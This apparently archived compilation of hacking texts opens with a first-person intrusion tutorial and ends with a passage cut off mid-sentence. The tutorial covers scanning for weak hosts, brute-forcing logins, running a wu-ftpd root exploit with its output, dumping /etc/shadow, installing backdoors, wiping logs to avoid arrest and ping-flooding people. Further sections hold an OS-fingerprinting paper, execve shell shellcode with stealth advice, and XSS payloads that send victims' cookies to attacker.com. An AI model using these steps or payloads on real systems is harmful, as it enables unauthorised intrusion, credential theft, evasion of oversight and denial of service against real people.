I at first was just a kid in middle school who wanted to
mess up people's computers. I asked people about virii and trojans, and used them, I was a
lamer. I asked people in school and eventually found someone who was interested in hacking.
He showed me some tricks, and i payed him money i wanted to learn so bad. He had been using unix
for years, he told me to get a shell, I had no idea what he meant. He said it was access to
a unix computer. I was still a little confused, but eventually I got the hang of using a shell
instead of winshit. I read all I could, I spent all day on the computer, i started losing
interest in socialization in the real world. I didn't care, I spent over 12 hours a day on
the computer at that time, I read everything i could get a hold of, the very first text I
read was the "mostly harmless hacking" text. It interested me, I only used the windows stuff
at first like changing the shutdown screen and other simple things. I was making websites
on hacking although i didn't know what it was, I would include tools for windows like
trojans and virii although they weren't hacking it was something I liked at the time. I
later got into mailbombers, flooders, DoS things. After I learned all of that (I realize
that it is not hacking now don't flame me here) I started going back into getting shells.
Well at that time all the free shells I could find just plain sucked. I heard a couple
things about Linux. I asked my "hacker friend" at school, he said don't get Linux get a
real UNIX. He moved to PA, and I have never heard from him since, I have tryed to track him
down to thank him for what he has showed me but have had no luck. Well I got linux. The
install was text based then but it ran fast, it was a lot more reliable than windows,
never crashed. Well My 56k didn't work. I went on IRC and asked around #linux. I found
out I had a modem called a "winmodem", I win-modem is a modem controlled by the software.
They are generally slower than hardware modems and they don't work on linux. I played
around with the command line seeing what things I could do, than I eventually raised $100
to buy a Linux compatible modem. I got it running. It was great. I have been using it ever
since, and still am learning more about it. My parents say I am "addicted to the computer",
I try to convince them I am not. I never seem to get bored with it, I always have something
new to do with it. I have lost some friends in the time, hardly ever leaving my desk, I quit
the Varsity Football Team, I was a starter, I have quit jobs, all just to use this damn machine
I am starting to get pissed at myself so I will stop writing this boring paragraph. I hope someone
out there finds this useful :)

CONTENTS
============

(1.) Common knowledge
(2.) Supplies
(3.) Easy hacks
(4.) What you need to do to get in
(5.) Enumeration
(6.) Common Mistakes leading to compromise
(7.) Buffer overflows
(8.) Firewalls
(9.) What to do after getting in
(10.) How to not get caught
(11.) Log cleaning
(12.) Finding a use for the newly rooted box
(13.) My feelings on the bad hackers

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

DISCLAIMER
================

Ok by reading this text you agree to NOT hold me or anyone affiliated with r00t-access responsible
for your actions.

(1.) The best way to use this text is to read it once fully, than read
it again and try out some things explained here. Ok now on with the text.
When you read this text I am expecting you to have basic knowledge of what
telnet is, some basic tcp/ip knowledge... If there is something little here
you don't understand, don't hesitate to join #r00t-access on irc.dal.net,
that is one of the places I hang out on.

-------------------------------------------------------------------------------------------------------

SUPPLIES
==========

(2.) Here listed is some supplies you will need throughout this tutorial, they can be obtained
easily, at anti-secure.com and packetstorm.securify.com, just do a search for the names of the
tools I list.

1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)

That is it!

------------------------------------------------------------------------------------------------------

EASY TARGETS
==============

(3.) Here I talk about finding easy targets.

1. - go to altavista.com search for "games" make the language Japanese or another language
other than english, reason is these tend to be low on security
2. - Scan a Cable or DSL subnet for hosts with lots of services running, use nmap, make sure
when it finds an open port the state is "open" not "closed" or "filtered"
nmap's portscan report will tell you this, I will not explain how to use nmap since the
man page shows you enough
3. - make sure nmap is installed, use the command I post below or similar
to find hosts with lots of common unix services running-

(NOTE: $ will represent a regular user shell in this text and # will be representing a superuser
shell. I use 24.112.*.* as a sample, replace it with who you want to scan)

$ nmap -p 21,23 24.112.*.*

--------------------------------------------------------------------------------------------------

TO GET IN
============

(4.) To get in you will need to gather as much info on this host as you can, make sure it is
a dumb SysAdmin, since this is your first hack. Then exploit the System, I will explain more
on this and info getting later.

-------------------------------------------------------------------------------------------------

ENUMERATION
=============

(5,> Ok we have our target. Now to go further we need some info. First telnet to it's port 79, now
if this is open you can possibly gain a user list of who is logged on.Just telnet in and press enter.
Lets say it is enabled
and allows you to view online users. Look at the example below-

-----------------------------------------------------------------------------
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01

-----------------------------------------------------------------------------

Ok if you get a login write it down
and try various logins for it. Maybe get Brutus, a telnet brute forcer which you can download for
windows at- www.packetstorm.securify.com. Use that, try many wordlists. If you just got a
"no one is logged on"
message than perhaps you should get "haktek" for windows, you can also get that at-
www.packetstorm.securify.com. Haktek will let you monitor the finger daemon for as long as you want
and log to a file everyone who logs in. This can be usefull. Another way is to use the sendmail.
If they have a lot of users try telneting in and trying to find some valid names, maybe even try
brute forcing it with a program or a shell script you could type up. Look below, I give an example
of a sendmail vulnerable to gathering valid logins-

-----------------------------------------------------------------------------
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun <wally@target.domain>
vrfy wally
250 Wally Kolcun <Wally@target.domain>
expn Billy
550 BIlly... User Unknown
----------------------------------------------------------------------------

As you see above I telneted to their smtp daemon, issued "expn <usernamehere>" and it told me if it was a
real user, then at the end I showed an example of what would happen if the user did not exist, when I
typed "expn Billy" it showed the user was unknown so it was not a valid login, this also helps you get
their email address when you would do some social engineering.

Another way of gathering usernames would be to search usenet, altavista, for that specific domain.
If you search newsgroups for the domain, there may be some useful info on it, like a problem they are having
maybe with setting permissions, which could get you in possibly.

Other daemons to help you could be systat, netstat...

Telnet can also help you figure out the OS, which can be important if you want to exploit it, some have the
OS printed in the telnet login, like below:

----------------------------------------------------------------------------
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
.----------------------------------------------------------------------------

As you can see above the system we are cracking now is a redhat 6.1 box

Social engineering can also get you somewhere, take the example of Kevin Mitnick, He used social engineering
to get into Novell, a HUGE system. What he did was talked like he knew someone who was working there. He
knew they were at vacation at the time, but he had their name. He called up Novell's offices and asked for
the person, the secretary said she was on vacation, so he said he needed to get access from her, he was
supposed to have. She gave him info that got him in.

----------------------------------------------------------------------------------------------------------

COMMON FLAWS
===============

(6.) Sometimes people make mistakes. This can get you in. Some people just aren't good sysadmins. A very
common flaw is people having trouble setting permissions, some have so much trouble they set things
writable to everyone. This can be trouble. Lets have an example here. Someone sets the cron.daily
writable for everyone. You could just upload somebackdoor and have it executed by the cron daemon which
would escalate your access to the system.

Now I will tell you about the most terrible thing to do. If a user ever uses IRC on the system, and
if they also had dcc file send on autoexcept, also having the files go to their home directory, they
could be sent a hacked up .bash_profile, if written correctly this could make them do something not
wanted. Like adding a user when they logged in, or mailing someone a login/pass. This is absolutely
the easiest way to get in.

---------------------------------------------------------------------------------------------------------

BUFFER OVERFLOWS/EXPLOITING
================================

(7.) I am not going into buffer overflows too deep. I will just explain what they are so you understand
and go into the next section.

BUFFER OVERFLOWS- On daemons there is a thing called a buffer limit. The buffer limit limits the
================== amount of bytes that come in. Sometimes by issuing specific code you ca overflow
the buffer and spawn a root shell or regular user shell. An example of this is
the recent Buffer overflow in wu-ftpd 2.6.0 (1). Below I will show you it-

------------------------------------------------------------------------------

$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages

$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS <shellcode>
[0m230-Next time please use your e-mail address as your password
230- for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
-------------------------------------------------------------------------------
If you want root generally an exploit is the way. Find the OS of the system
then visit hack.co.za or packetstorm and search for that os, exploit and you
should get some perl scripts/c scripts/shell scripts. Then just execute them
as directed and you should have root.
-------------------------------------------------------------------------------

Already got a root shell, that was pretty easy. Just 3 commands to compile get help
and execute, a lot of times I think it is too easy.

Ok, in some places you might want to know the actual root password in case they patch the exploit.
so lets say you have a root shell. Issue the command as below-

(it is /etc/passwd if they did not install shadowing utils)

---------------------------------------------------------------
# cat /etc/shadow > /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
---------------------------------------------------------------

The above command saved it as /root/passwd, but then you must crack it. Use john the ripper,
it can be found at packetstorm and other places, I use it, it is so fast. Sometimes it takes years
to crack a password so I don't suggest relying on cracking
---------------------------------------------------------------------------------------------------------

FIREWALLS
===========

(8.) Firewalls can't stop you if you know what you are doing. In this text I use nmap a lot, it is good
for just about everything, nmap is short for network mapper. The newest version can be downloaded
from www.insecure.org I love it's OS detection, it is so accurate, even wehn little services are
running, it analyzes the tcp fingerprint, which it has a large database of. Ok enough on the greatness
here is a simple option on nmap you can use to find the rules for firewalls. Issue "nmap -sA" . This
Will check the firewalls rules. I don't want to go to deep into it to make this text extremely more
boring than it is. If you would like to know more on this flag for nmap (a - in front of a option
is a flag) just do "man nmap" at the shell prompt.

---------------------------------------------------------------------------------------------------------

WHAT TO DO AFTER GETTING IN
==============================

(9.) What to do after you get in depends on how you are going to use the system, if you want to use it
to have an anonymous root shell then set up a backdoor. You can get backdoor's (trojans) at
www.packetstorm.securify.com. I think you should be able to set up a backdoor on your own, but
if for some reason you need help join #r00t-access on Dalnet and I can get you through but I will
NOT crack into the systems for you, but I can help out occasionally if you need to secure your system...

---------------------------------------------------------------------------------------------------------

HOW TO NOT GET CAUGHT
=======================

(10.) Main thing is, DON'T be STUPID. If you want to keep the remote shell, don't deface the site, don't
delete their files, try to leave the system as it was and delete the neccessary logs to do so, that
is all I have to say on this section.

---------------------------------------------------------------------------------------------------------

LOG CLEANING
================

(11.) Log cleaning is the most important part of staying there and not going to jail. Rid your login/hostname
from logs, which on Linux are held in /var/log, and .bash_profile in your directory. The easiest way
to do this is to use a log cleaner which you can get from blackcode.com or packetstorm.

---------------------------------------------------------------------------------------------------------

FINDING A USE
===============

(12.) I always have at least one rooted shell on me. I set up nmap and saint on them to hide my hostname,
maybe run a web proxy/bnc on it. Saint is a great tool, it can tell you what a system is vulnerable
to and can run remotely in your webbrowser with ease. Sometimes when people piss me off I decide to use
a couple boxes and flood em'. like this-

----------------------------------------------------------------
# ping -f -c 50 -s 4500 IPaddress
.........................................................
...........................................................
.........E...........E...EE........E..................E.......
..............E.......E.EEE...................E.E......
Host unreatchable.
----------------------------------------------------------------

People consider it lame but sometimes i want certain people to just shutup on IRC so I flood them.
---------------------------------------------------------------------------------------------------------

THE BAD HACKER
===================

(13.) In this text I have not been talking of hacking, in fact it is refered to as cracking. I don't mess
up and systems and probably never will, not because I can't but because it is not right, plus if you got
caught you would get more jail time for damage charges. I dislike people into totalling things.

----------------------------------------------------------------------------------------------------------

Advanced application-level OS fingerprinting

2012-08-15T04:50:00.000-07:00

Advanced application-level OS fingerprinting: Practical approaches and examples

The current state of OS fingerprinting involves, for the most part, layer 3 & 4 requests and responses. This includes tools like nmap, nessus, p0f, and sinFP. These tools make specific queries and examine the response for things like TCP/IP stack settings, TCP option support, the number of syn+ack packets sent before a timeout, the time interval between syn+ack packets, and the presence of a rst packet sent at timeout. Many of these things are manipulated or deformed by intermediary devices, and much of it can be fairly easily spoofed using freely available tools like IP Personality and Security Cloak.

Application-level OS fingerprinting, on the other hand, relies on data gleaned from an application running on the target host. The current methods include the identification of OS-specific applications, such as Remote Desktop, and "banner grabbing", which involves connecting to a cross-platform application and recording what operating system it claims to be running, usually in the welcome banner (thus the name). Banner grabbing is trivial to fool, usually requiring nothing more complicated than a change in a configuration file. It's not unheard of, for instance, for Apache servers to report that they are running on a Commodore 64.

Considering this, I present an alternate approach to application-level OS fingerprinting. The general idea is that there are certain requests that can be made to cross-platform applications which result in OS-dependant responses. This can be in the form of the data returned by the application, the lack of response, or timing differences in the response, although this is almost certainly not a comprehensive list. One example of existing usage of this technique is in [5]. Based on known differences in responses and known OSes associated with specific responses, one can determine the OS of a host running a service for which such signatures exist.

There are, of course, many differences in operating systems, but only some of them are actually feasible to measure remotely (in general scenarios). Here's a non-comprehensive list:

Newline characters
==================
0x0d -> Classic Mac OS
0x0d0a -> win32, DOS, OS/2, SymbianOS
0x0a -> *nix
0x15 -> EBCDIC-based

Bit bucket
==========
/dev/null -> *nix
NUL -> Win32, DOS, OS/2
NIL -> Amiga
SYS$NULL: -> OpenVMS
*DUMMY -> Univac

Directory separator [1]
===================
backslash -> win32, OS/2, symbianOS
slash -> *nix, amiga, domain, menuet
dot -> openVMS, riscOS
colon -> Classic Mac OS

Root directory [1]
==============
/ -> *nix, menuetOS
\ -> SymbianOS
// -> Domain/OS
[drive letter]:\ -> win32, OS/2, DOS
[drive letter]:/ -> win32
[device name]: or [NODE"accountname password"]::[device name]: -> OpenVMS
[drive name]: -> Classic Mac OS, AmigaOS
[volume or assign name]: -> AmigaOS
[fs type]::[drive number or disc name].$ -> RiscOS

EOF marker
==========
0x1a -> Windows;
(int) -1 -> Pretty much everything else

Filesystem differences
======================
Maximum path length
Maximum filename length
Illegal characters
Case sensitivity
Reserved filenames, special files

***ILLEGAL NTFS CHARS***
" / \ * ? < > | :

***ILLEGAL FAT CHARS***
" + , . / : ; < = > [ \ ] | .

***ILLEGAL HPFS CHARS***
" / : < > \ |
any char below 0x20

Data alignment, word size, the existance of OS-specific binaries, and processor feature support are more criteria that can be used, but are less commonly determinable remotely.

Additionally, there are differences that are specific to an application that can be used. This varies widely from application to application, but often, these differences take one of a couple of forms. They can be vulnerabilities, or code written to patch those vulnerabilities that exist only on certain platforms (Fyodor has already discussed exploit chronology in [2] but does not discuss testing the existance of mitigation code). Certain features of programs will not be supported on some OSes, and will on others. The presence of these features eliminates unsupported OSes as a possibility. Finally, certain applications will have features which give out system details very freely. As a part of a default Apache installation, a test perl cgi script, printenv.pl, is placed in the cgi-bin directory. This script, when run, prints all environment variables. This is more or less advanced banner grabbing, but it makes a nice example of leaky features that can be found in certain applications.

But enough talk. Let's get to some real examples!

Example 1 - Apache 2.2.9
========================

http://unix.example.com/\\\.
-URL must not be URL-encoded: PuTTY or an intercepting http-proxy can be used to ensure this
-Will return a 404 Not Found error
-Unix platform

http://win32.example.com/\\\.
-Again, no URL-encoding
-Will return 200 OK and load front page
-Win32 platform

(This is an example of mitigation code that exists only on Win32 installations of Apache. Apache, when compiled for Windows, will convert backslashes to slashes. On *nix, it will not. This would work even if there wasn't specific mitigation code for Win32, but the fact that Apache on *nix doesn't change the backslashes to slashes means that backslashes will be interpreted as a part of a filename, and will just be extraneous slashes to Win32, resulting in \\\. being interpreted as a filename on *nix, and as a reference to the root dir of the website on a win32 machine.)

Example 2 - Apache 2.2.9
========================

http://unix.example.com/nul
-Returns 404 Not Found
-Not a windows based system

http://win32.example.com/nul
-Returns 403 Forbidden
-Win32

(This works because Apache won’t have read access to the bit bucket… nothing should!
On DOS-style systems, special files like nul and con “exist” and can be accessed from all directories. This should also work on other cross-platform web servers, ftp daemons, etc but I haven’t tested it)

Example 3 - Apache 2.2.9
========================

http://unix.example.com/%1a
-404 Not Found

http://win32.example.com/%1a
-403 Forbidden

(Apache on Win32 doesn’t appreciate EOF markers being stuck into URIs
Funny enough, it doesn’t like anything but GL codes(0x20-0x7f). I don’t know where in the code this happens. I think it’s likely a limitation of the system-level functions failing with characters outside a given range. Other operating systems aren’t as picky.)

Example 4
=========

http://winme.example.com/images/thumbs.db
-Has drive and pathnames in file

http://winxp.example.com/images/thumbs.db
-No drive or pathnames in file

http://xpmedia.example.com/images/ehthumbs.db
-Unique to XP Media Center

Thumbs.db
-Auto-generated image thumbnail database
-Exists in every dir with images (or certain other files) viewed in Windows Explorer with thumbnails on (even if images are later deleted)
-Generated on 98, ME, 2K, XP, 2003 (Maybe more, documentation is very sparse)
-Differs in contents between 98/ME/2K and XP/2003
-Win2k will use alternate data streams for thumbnail storage on NTFS volumes and thumbs.db on FAT partitions
-Windows XP Media Center Edition will also create ehthumbs.db for videos

(table expanded from [3])
System | Win98 | WinME | Win2k | WinXP | Win2k3
--------+---------------+---------------+---------------+---------------+---------------
Drive | Yes | Yes | Yes | No | No
Filename| Yes | Yes | Yes | Yes | Yes
Path | Yes | Yes | Yes | No | No
Last Mod| Yes | Yes | Yes | Yes | Yes

(One note about this: I was confronted with a problem with this method by Mike Eddington of Leviathan Security, who pointed out the possibility that a thumbs.db file could be uploaded to a webserver along with the corresponding images. After some thought, I realized that you could check the last modified date of the thumbs.db file as sent by the web server and the last modified date as recorded in the file. If they match, it was updated by the server itself!)

Example 5 - IIS [4]
===============
This one's pretty simple. IIS versions correspond to specific versions of Windows. Enumerate the IIS version, and you get the OS version.

IIS version | OS version
----------------+------------------
1.0 | NT 3.51 SP3
2.0 | NT 4.0
3.0 | NT 4.0 SP3
4.0 | NT 4.0 SP3
5.0 | Win2k
5.1 | XP Pro
6.0 | Server 2003
7.0 | Vista, Server 2008

(I haven't figured out ways to determine between IIS versions, although exploit chronology and feature support would likely be good candidates, and the version of IIS being reported should give a good indication. I suspect, however, that it should be easy for an admin to spoof.)

Example 6 - default FTP daemons
===============================
Run the raw ftp commands “rnfr .” and then “rnto .” against a default FTP daemon on a writable directory. It will generally spit back "350 File exists, ready for destination name" followed by a message about what happened with the operation…

OpenBSD 4.0
550 rename: Is a directory.

FreeBSD 7.0
250 RNTO command successful

OpenSolaris 2008.05
550 rename: Invalid argument.

Ubuntu 8.04 server
550 rename: Device or resource busy.

More quick examples
===================
Win32 Apache doesn’t like colons in urls, other OSes don't care so much
Win32 Apache will accept, for example, /BLAHBL~1.HTM as a valid replacement for blahblahblah.html where it will not on other OSes
(This one kinda sounds like security hell)

Other (less useful) signatures
==============================
The presence of $MFT in the root of a volume suggests an NTFS volume
Accessing a directory as a file will work on BSD systems
-FreeBSD and NetBSD will spit back binary data
-OpenBSD will return nothing but won’t complain
Windows can only use one audio input source at a time

(I came up with these too and wanted to include them for completeness, but they're so case-specific that I didn't want to give them too much time.)

If you'd like to find some signatures yourself, try grepping for #ifdef and #ifndef in the sources of any given application (if you have sources and they're C). "Linux", "BSD", "MacOS", etc are also nice candidates. Additionally, the basis for many of the examples I've given here should apply to many different applications which do similar operations or make similar system calls. Requesting nul from any application that serves or queries for files should quickly identify a Windows system.

In conclusion, application-level OS fingerprinting using multi-platform applications is possible and plausible without using banner-grabbing. OS identity info leakage in applications is not well considered (I based this on the fact that I was able to find 3 leaks with the latest version of Apache in 1 hour of searching). This method is user, and can be combined with other fingerprinting methods, which is where I feel it would be most effective, though with enough signatures, this method could stand entirely on its own.

As for further work that can be done in this field, there are definitely timing differences in application responses that could be used for OS fingerprinting. It should also be possible to find OS-version-specific responses in platform-specific applications, much like the IIS version-to-OS version example. Also, these techniques could be coded into a tool, but I'm not a great coder by any means. I hope to release some python scripts for a few of these examples shortly after the paper is released. And finally, there's more applications out there to use for fingerprinting!

Advanced Shellcoding Techniques

2012-08-05T07:10:00.001-07:00

***********************************************
* *

* Advanced Shellcoding Techniques - *

* *
***********************************************

Introduction

This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.

The multiplicity of mul

This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.

mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:

movl $0x0a,%eax
mul $0x0a

This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).

So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:

xorl %ecx,%ecx
mul %ecx

What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.

The div instruction

Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:

xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80

divl %eax # -1 / -1 = 1
int $0x80

Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.

Unlocking the power of leal

The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.

xorl %ecx,%ecx
leal 0x10(%ecx),%eax

This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:

xorl %eax,%eax
movb $0x10,%eax

I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:

xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80

xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80

Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.

Conclusion

I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. If you know who invented the leal technique, please tell me and I will credit him/her.

Advanced Cross-Site-Scripting

2012-06-20T09:15:00.001-07:00

Advanced Cross-Site-Scripting with Real-time Remote Attacker Control

** Introduction **
Cross Site Scripting (XSS) is typically perceived as a minimal threat by many
developers and security professionals. There have been some good papers in the past
that should have woken folks up to the potential risks of XSS, but the problem is
still prevalent and most security folks are un-interested in the issue and its
ramifications. I hope to change that perception with this paper and the release of
a tool called XSS-Proxy that allows XSS attacks to be fully controlled by a remote
attacker. This paper describes current XSS attacks and introduces new methods/tool
for making XSS attacks interactive, bi-directional, persistent and much more evil.

This is not a detailed XSS HowTo, but an explanation of methods for taking XSS attacks
much further. CGISecurity's XSS FAQ (1) is a good resource for a better overview of
general XSS issues. I've also included several references (2,3,4,5) at the end of this
paper that are also great material on XSS and related topics.

This is also not a discussion on solutions as there are many resources on methods for
finding and fixing XSS holes. The extended attacks I introduce here bypass many of
the XSS mitigation methods I've seen other papers recommend (like hidden form inputs,
URL re-writing, POST methods, etc), as the attacker has access to the same site contents
(and jscript/values) as the victim. The only realistic solution is to either discard any
HTML and special char inputs or carefully, carefully filter to allow only certain things
in user input - event many sites that try to filter tags/chars can be tricked into XSS.
Another solution may be to partition sites into multiple document domains so it's more
difficult for an XSS vulnerability in one document domain to allow access to other areas
in the other domains. Perhaps putting site-search CGIs in one subdomain and sensitive
site areas in another would be useful.

** Brief XSS Background **
As many here probably know, current XSS attacks typically come in two flavors:
1 - Attacker uploads <script> tags to a public bulliten board, blog, or other site that
    has an XSS vulnerability and that lots of other users will visit. Attacker normally
    harvests site cookies for later user impersonation, but form submits and other attacks
    are sometimes utilized. This is what many folks I talk to think XSS is.
    Here's an example:

    Someone would post the following on evilblog.com that other users would process
    <script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

    This would try to pull an image off the attacker's server with the user's evilblog
    cookies in the URL.

2 - Attacker uses a public XSS vulnerable site like above, or an XSS based email message
    to redirect a user to a second XSS vulnerable server. The second server is the
    attacker’s actual target and this site normally has a self-XSS issue where a user can
    inject <script> content into a document that only that user will see. This combined
    with the redirection from another site can allow cookie leakage, form/submit content
    leakage, or a specific action to perform as the XSS'd user against the second site.
    This is well known, but I tend to see less site administrators that understand this
    flavor of the attack.
    Here's how that would work:

    Someone would post the following on evilblog.com that other users would process:
    <script>document.location=’http://banking.com/search?name=<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>’</script>

    When the user is redirected to banking.com with the above XSS, this is what will be
    returned to the user and executed:
    <script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

    This would try to pull an image off the attacker's server with the user's banking.com
    cookies in the URL.

In the past other folks have also pointed out that more advanced site manipulation can
be achieved with an XSS script that opens an IFRAME (or other window-like element) and
loads/submits for other documents on the same site. DOM trust will allow Javascript to
interact with other windows/IFRAMEs it creates, as long as the windows point to the same
document domain (protocol + domain_name + port).

The current methods of XSS attacks are typically limited only a single transaction at the
final target site and typically result in cookie harvesting or form submission leakage.

** Basics of XSS-Proxy / Attack **
I have extended the normal XSS attack and combined it with the ability to pull additional
Javascript commands from arbitrary remote servers (aka Javascript Remoting - see (6) for
details with IFRAMEs) to allow XSS to be more than just a redirect with some cookie
leakage. This combination allows an attacker to establish a persistent, bi-directional
control/transfer channel to an XSS victim and access XSS’d sites as that victim. As long
as the victim is tricked into leaving the XSS window open and in the same location, we
have almost total control of the victim’s browser against the XSS site with the ability
